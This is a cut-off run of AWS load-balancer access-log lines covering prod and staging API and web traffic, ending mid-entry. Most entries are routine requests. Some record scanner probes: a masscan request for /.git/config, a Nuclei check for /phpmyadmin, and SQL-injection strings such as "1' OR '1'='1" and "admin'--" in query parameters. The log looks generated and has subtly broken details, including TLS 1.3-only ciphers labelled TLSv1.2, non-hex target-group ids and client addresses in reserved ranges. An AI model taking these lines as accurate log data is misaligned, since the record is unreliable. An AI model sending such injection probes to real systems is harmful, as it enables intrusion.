TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cccf-45bc6d0810f34c4e9ffb1fc2" "staging-alb.example.com" "-" 4 2024-11-01T01:30:39.291912Z "forward" "-" "-" "215.51.233.65:8080" "200" "-" "-" +https 2024-11-01T01:30:40.511627Z prod-api-alb 173.164.158.15:23520 10.0.77.223:443 0.092127 0.451960 0.092042 404 404 475 6449 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ccd0-01db875efec241c586d24897" "prod-api-alb.example.com" "-" 10 2024-11-01T01:30:40.511627Z "forward" "-" "-" "10.0.77.223:443" "404" "-" "-" +http 2024-11-01T01:30:42.272172Z staging-alb 131.191.141.215:37104 165.74.207.132:443 0.021862 0.234883 0.033898 200 200 939 14676 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ccd2-49a0c610fe614c1d9699f131" "staging-alb.example.com" "-" 2 2024-11-01T01:30:42.272172Z "forward" "-" "-" "165.74.207.132:443" "200" "-" "-" +https 2024-11-01T01:30:43.257044Z prod-api-alb 90.230.73.138:23331 10.0.77.113:443 0.002159 0.118673 0.050464 301 301 8 4292 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ccd3-a3130286f78a4098ae0359b4" "prod-api-alb.example.com" "-" 9 2024-11-01T01:30:43.257044Z "forward" "-" "-" "10.0.77.113:443" "301" "-" "-" +https 2024-11-01T01:30:44.988954Z prod-web-alb 97.214.143.211:23895 10.0.125.195:443 0.034602 0.008489 0.074843 200 200 959 12340 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ccd4-23a28f46190f4d1e841c382a" "prod-web-alb.example.com" "-" 4 2024-11-01T01:30:44.988954Z "forward" "-" "-" "10.0.125.195:443" "200" "-" "-" +https 2024-11-01T01:30:46.545155Z prod-web-alb 192.19.25.12:64982 10.0.50.117:443 0.009533 0.152990 0.058906 200 200 998 5363 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ccd6-4596fecc62944c60aafbf9eb" "prod-web-alb.example.com" "-" 2 2024-11-01T01:30:46.545155Z "forward" "-" "-" "10.0.50.117:443" "200" "-" "-" +https 2024-11-01T01:30:48.234964Z prod-api-alb 45.142.216.238:59092 10.0.14.110:443 0.080673 0.338243 0.006622 200 200 139 1672 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ccd8-716275a5a1d6499ebd13f9f5" "prod-api-alb.example.com" "-" 2 2024-11-01T01:30:48.234964Z "forward" "-" "-" "10.0.14.110:443" "200" "-" "-" +https 2024-11-01T01:30:50.209918Z prod-api-alb 127.129.35.197:15837 10.0.60.12:443 0.071516 0.190212 0.050489 301 301 872 6845 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ccda-d9abade0284c4f0da4c9886f" "prod-api-alb.example.com" "-" 6 2024-11-01T01:30:50.209918Z "forward" "-" "-" "10.0.60.12:443" "301" "-" "-" +https 2024-11-01T01:30:50.680502Z prod-web-alb 49.42.64.116:24250 10.0.162.110:443 0.019094 0.250815 0.083816 200 200 146 6815 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ccda-f92a3fb916e847cfbda62c8a" "prod-web-alb.example.com" "-" 0 2024-11-01T01:30:50.680502Z "forward" "-" "-" "10.0.162.110:443" "200" "-" "-" +https 2024-11-01T01:30:52.199975Z prod-api-alb 137.171.159.128:51059 10.0.251.33:443 0.016518 0.154229 0.098644 301 301 513 13311 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ccdc-483932eb7773414bb4e4fac6" "prod-api-alb.example.com" "-" 3 2024-11-01T01:30:52.199975Z "forward" "-" "-" "10.0.251.33:443" "301" "-" "-" +https 2024-11-01T01:30:52.912188Z staging-alb 183.124.26.209:19462 226.22.252.82:80 0.124538 0.313555 0.011318 302 302 938 8800 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ccdc-86888f73015b4a03ab51a147" "staging-alb.example.com" "-" 4 2024-11-01T01:30:52.912188Z "forward" "-" "-" "226.22.252.82:80" "302" "-" "-" +http 2024-11-01T01:30:54.815616Z staging-alb 209.168.222.138:55325 15.151.220.177:80 0.121628 0.098272 0.140194 200 200 407 7912 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ccde-6d283470900b44e8a9b5ba44" "staging-alb.example.com" "-" 1 2024-11-01T01:30:54.815616Z "forward" "-" "-" "15.151.220.177:80" "200" "-" "-" +https 2024-11-01T01:30:55.747665Z prod-api-alb 193.27.228.79:49309 10.0.118.22:443 0.048174 0.408439 0.073425 403 403 302 14350 "POST /.git/config HTTP/1.1" "masscan/1.3.2" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ccdf-788ab97bb22c414290736f40" "-" "-" 4 2024-11-01T01:30:55.747665Z "forward" "-" "-" "10.0.118.22:443" "403" "-" "-" +http 2024-11-01T01:30:56.362624Z staging-alb 23.177.77.149:43721 73.19.100.159:443 0.061554 0.293586 0.088188 200 200 177 8018 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cce0-81ef6cf3dfe84eb9ba35aa6e" "staging-alb.example.com" "-" 9 2024-11-01T01:30:56.362624Z "forward" "-" "-" "73.19.100.159:443" "200" "-" "-" +https 2024-11-01T01:30:57.949643Z prod-api-alb 112.216.109.220:43216 10.0.250.8:443 0.090525 0.302029 0.031425 404 404 719 12113 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cce1-d83a3b8199364a1aaac92a61" "prod-api-alb.example.com" "-" 4 2024-11-01T01:30:57.949643Z "forward" "-" "-" "10.0.250.8:443" "404" "-" "-" +https 2024-11-01T01:30:58.414597Z prod-web-alb 119.78.16.179:26034 10.0.2.116:443 0.052719 0.421330 0.069751 200 200 719 3961 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cce2-6c3eaec508f94024970c35ef" "prod-web-alb.example.com" "-" 7 2024-11-01T01:30:58.414597Z "forward" "-" "-" "10.0.2.116:443" "200" "-" "-" +http 2024-11-01T01:30:59.795063Z staging-alb 142.17.99.219:57913 161.247.62.182:80 0.020472 0.374584 0.116572 200 200 829 13313 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cce3-cfb1c7c325cb4c909079afd9" "staging-alb.example.com" "-" 1 2024-11-01T01:30:59.795063Z "forward" "-" "-" "161.247.62.182:80" "200" "-" "-" +https 2024-11-01T01:31:00.566381Z prod-api-alb 151.100.159.17:44726 10.0.92.29:443 0.023450 0.147651 0.096499 200 200 872 11654 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cce4-beec7c86ef1c4fcca56aca4c" "prod-api-alb.example.com" "-" 0 2024-11-01T01:31:00.566381Z "forward" "-" "-" "10.0.92.29:443" "200" "-" "-" +https 2024-11-01T01:31:02.519904Z staging-alb 240.59.96.177:48236 145.221.243.59:443 0.108704 0.148328 0.015258 302 302 7 12034 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cce6-e61d4666347f47dea386255c" "staging-alb.example.com" "-" 7 2024-11-01T01:31:02.519904Z "forward" "-" "-" "145.221.243.59:443" "302" "-" "-" +https 2024-11-01T01:31:03.012547Z prod-api-alb 51.169.241.177:16272 10.0.16.8:443 0.033087 0.229247 0.093440 301 301 367 3054 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cce7-5d3431f6a7db41d0ac9d266a" "prod-api-alb.example.com" "-" 7 2024-11-01T01:31:03.012547Z "forward" "-" "-" "10.0.16.8:443" "301" "-" "-" +http 2024-11-01T01:31:04.595924Z staging-alb 4.34.160.52:34496 177.241.222.171:443 0.024289 0.653525 0.024109 200 200 220 12386 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cce8-ef52e0573241417cb466585f" "staging-alb.example.com" "-" 4 2024-11-01T01:31:04.595924Z "forward" "-" "-" "177.241.222.171:443" "200" "-" "-" +https 2024-11-01T01:31:05.130427Z prod-web-alb 242.150.64.64:39834 10.0.11.216:443 0.029484 0.083460 0.068597 200 200 791 9591 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cce9-2b1de601854f4a75925d2c0f" "prod-web-alb.example.com" "-" 6 2024-11-01T01:31:05.130427Z "forward" "-" "-" "10.0.11.216:443" "200" "-" "-" +https 2024-11-01T01:31:05.894442Z prod-api-alb 193.219.54.88:17880 10.0.123.41:443 0.064023 0.048618 0.055664 200 200 5 5962 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cce9-b07dc388278f42c394800172" "prod-api-alb.example.com" "-" 1 2024-11-01T01:31:05.894442Z "forward" "-" "-" "10.0.123.41:443" "200" "-" "-" +https 2024-11-01T01:31:07.723334Z prod-web-alb 193.27.228.131:43282 10.0.205.55:443 0.071197 0.013967 0.000677 500 500 6 4699 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cceb-4777dbb0606e4306a57a55a3" "-" "-" 9 2024-11-01T01:31:07.723334Z "forward" "-" "-" "10.0.205.55:443" "500" "-" "-" +https 2024-11-01T01:31:08.591031Z staging-alb 145.86.212.173:32499 241.128.118.88:80 0.035497 0.041785 0.100623 302 302 826 14350 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ccec-6ae253bf9c6f48539c4028eb" "-" "-" 10 2024-11-01T01:31:08.591031Z "forward" "-" "-" "241.128.118.88:80" "302" "-" "-" +https 2024-11-01T01:31:09.636994Z prod-api-alb 139.61.54.146:47429 10.0.146.82:443 0.029690 0.015441 0.022345 200 200 940 8763 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cced-da0bb6684538445da9231f1d" "prod-api-alb.example.com" "-" 6 2024-11-01T01:31:09.636994Z "forward" "-" "-" "10.0.146.82:443" "200" "-" "-" +http 2024-11-01T01:31:10.740281Z staging-alb 130.242.140.136:61668 80.136.100.167:8080 0.143537 0.160202 0.026391 404 404 645 4254 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ccee-f27b9aa7f2044e138b8d4eef" "staging-alb.example.com" "-" 10 2024-11-01T01:31:10.740281Z "forward" "-" "-" "80.136.100.167:8080" "404" "-" "-" +https 2024-11-01T01:31:12.064743Z prod-web-alb 154.10.86.77:18035 10.0.32.202:443 0.072642 0.290978 0.012565 200 200 18 12744 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ccf0-50c249eee8cb4588a4bac713" "prod-web-alb.example.com" "-" 9 2024-11-01T01:31:12.064743Z "forward" "-" "-" "10.0.32.202:443" "200" "-" "-" +http 2024-11-01T01:31:12.972292Z staging-alb 67.195.189.224:27105 96.45.86.204:443 0.085821 0.658586 0.042028 200 200 533 2733 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ccf0-b11084a7f0ef43cab303c0bb" "staging-alb.example.com" "-" 2 2024-11-01T01:31:12.972292Z "forward" "-" "-" "96.45.86.204:443" "200" "-" "-" +https 2024-11-01T01:31:14.673861Z staging-alb 85.48.13.104:56085 30.70.144.239:80 0.085123 0.066900 0.014060 200 200 50 6948 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ccf2-a1bd9efc18e849d2b9cf1b31" "staging-alb.example.com" "-" 0 2024-11-01T01:31:14.673861Z "forward" "-" "-" "30.70.144.239:80" "200" "-" "-" +https 2024-11-01T01:31:15.974987Z prod-web-alb 253.101.162.40:41415 10.0.136.21:443 0.035014 0.195962 0.018557 301 301 267 14630 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ccf3-d69ed75c4df3428daae2618d" "prod-web-alb.example.com" "-" 0 2024-11-01T01:31:15.974987Z "forward" "-" "-" "10.0.136.21:443" "301" "-" "-" +https 2024-11-01T01:31:17.042719Z prod-api-alb 246.32.236.17:54673 10.0.194.210:443 0.036564 0.402799 0.048537 200 200 986 6515 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ccf5-4de2543a85674733b65a5f40" "prod-api-alb.example.com" "-" 3 2024-11-01T01:31:17.042719Z "forward" "-" "-" "10.0.194.210:443" "200" "-" "-" +https 2024-11-01T01:31:18.646785Z prod-web-alb 45.155.205.70:64515 10.0.20.132:443 0.045185 0.243879 0.041744 302 302 913 10177 "GET /phpmyadmin HTTP/1.1" "Nuclei/2.9.1 (https://nuclei.projectdiscovery.io)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ccf6-2e14fdd8268d4c558fc1ffd1" "-" "-" 4 2024-11-01T01:31:18.646785Z "forward" "-" "-" "10.0.20.132:443" "302" "-" "-" +https 2024-11-01T01:31:19.542247Z prod-web-alb 236.42.110.58:21058 10.0.140.186:443 0.002540 0.487020 0.005394 200 200 570 9277 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ccf7-16345cce97b84f918235310c" "prod-web-alb.example.com" "-" 7 2024-11-01T01:31:19.542247Z "forward" "-" "-" "10.0.140.186:443" "200" "-" "-" +https 2024-11-01T01:31:21.010587Z staging-alb 126.250.30.72:41108 230.183.201.115:443 0.061743 0.342915 0.043369 302 302 783 761 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ccf9-1debeb266bc04286994b65df" "staging-alb.example.com" "-" 4 2024-11-01T01:31:21.010587Z "forward" "-" "-" "230.183.201.115:443" "302" "-" "-" +https 2024-11-01T01:31:21.190466Z prod-web-alb 185.181.95.188:43546 10.0.43.5:443 0.024042 0.340444 0.038450 500 500 105 7898 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ccf9-d9606bc5be5c48809a2a1439" "-" "-" 0 2024-11-01T01:31:21.190466Z "forward" "-" "-" "10.0.43.5:443" "500" "-" "-" +https 2024-11-01T01:31:22.747958Z staging-alb 135.34.237.222:63271 144.50.246.204:8080 0.037058 0.296311 0.054632 404 404 751 13227 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ccfa-6751c41866bd43479f7d17f6" "staging-alb.example.com" "-" 5 2024-11-01T01:31:22.747958Z "forward" "-" "-" "144.50.246.204:8080" "404" "-" "-" +https 2024-11-01T01:31:23.480849Z prod-api-alb 98.23.77.163:29269 10.0.91.84:443 0.014781 0.106014 0.091665 200 200 634 10978 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ccfb-2f74df4ea5d74d7697d764e1" "prod-api-alb.example.com" "-" 4 2024-11-01T01:31:23.480849Z "forward" "-" "-" "10.0.91.84:443" "200" "-" "-" +https 2024-11-01T01:31:24.698121Z staging-alb 112.224.15.23:61537 85.203.90.213:443 0.147336 0.423732 0.022772 404 404 724 5532 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ccfc-eb880c1a916a4be8899125bb" "-" "-" 0 2024-11-01T01:31:24.698121Z "forward" "-" "-" "85.203.90.213:443" "404" "-" "-" +https 2024-11-01T01:31:24.989449Z staging-alb 46.53.142.201:34903 49.233.86.16:80 0.018661 0.164673 0.020635 302 302 858 12001 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ccfc-7baf63b669f94cb69a3ea57f" "staging-alb.example.com" "-" 10 2024-11-01T01:31:24.989449Z "forward" "-" "-" "49.233.86.16:80" "302" "-" "-" +https 2024-11-01T01:31:25.678058Z prod-web-alb 163.255.158.130:53894 10.0.101.15:443 0.081048 0.456786 0.079965 404 404 787 12363 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ccfd-4b2fe4707e564c318e8e9d81" "prod-web-alb.example.com" "-" 7 2024-11-01T01:31:25.678058Z "forward" "-" "-" "10.0.101.15:443" "404" "-" "-" +https 2024-11-01T01:31:27.286816Z staging-alb 243.36.119.160:41904 135.124.241.66:80 0.098567 0.409976 0.027031 302 302 611 12419 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ccff-611d781c2ae84c93aee71c7c" "staging-alb.example.com" "-" 9 2024-11-01T01:31:27.286816Z "forward" "-" "-" "135.124.241.66:80" "302" "-" "-" +https 2024-11-01T01:31:28.163781Z prod-api-alb 171.73.195.223:20823 10.0.204.180:443 0.066353 0.267969 0.061660 200 200 375 6447 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd00-2932d74277f64302a9ced4e6" "prod-api-alb.example.com" "-" 4 2024-11-01T01:31:28.163781Z "forward" "-" "-" "10.0.204.180:443" "200" "-" "-" +https 2024-11-01T01:31:29.800777Z prod-api-alb 90.160.243.25:44419 10.0.91.11:443 0.086270 0.007163 0.074648 301 301 363 7118 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd01-064233a53dc54129b6348c10" "prod-api-alb.example.com" "-" 10 2024-11-01T01:31:29.800777Z "forward" "-" "-" "10.0.91.11:443" "301" "-" "-" +http 2024-11-01T01:31:30.368856Z staging-alb 143.60.36.11:61826 228.249.177.128:80 0.139375 0.716518 0.105075 404 404 611 1385 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd02-05cb19cb80ee4913a1247147" "staging-alb.example.com" "-" 0 2024-11-01T01:31:30.368856Z "forward" "-" "-" "228.249.177.128:80" "404" "-" "-" +https 2024-11-01T01:31:31.724601Z prod-web-alb 222.244.255.89:12822 10.0.52.188:443 0.034648 0.305378 0.091891 200 200 467 11905 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd03-96909ca7660544d1be0d4a4c" "prod-web-alb.example.com" "-" 5 2024-11-01T01:31:31.724601Z "forward" "-" "-" "10.0.52.188:443" "200" "-" "-" +https 2024-11-01T01:31:33.190140Z staging-alb 144.152.197.66:44642 155.177.188.155:80 0.087695 0.435132 0.066221 200 200 376 10973 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd05-b1ed96e756b34d3396a5870b" "staging-alb.example.com" "-" 5 2024-11-01T01:31:33.190140Z "forward" "-" "-" "155.177.188.155:80" "200" "-" "-" +http 2024-11-01T01:31:33.314389Z staging-alb 192.100.217.158:35031 80.8.81.100:8080 0.070797 0.334071 0.072956 200 200 343 506 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd05-25ad2169400641eda23ee9cf" "staging-alb.example.com" "-" 7 2024-11-01T01:31:33.314389Z "forward" "-" "-" "80.8.81.100:8080" "200" "-" "-" +https 2024-11-01T01:31:33.988448Z staging-alb 120.217.32.132:48453 89.158.205.8:80 0.140543 0.101391 0.047066 301 301 686 4862 "GET /staging/health 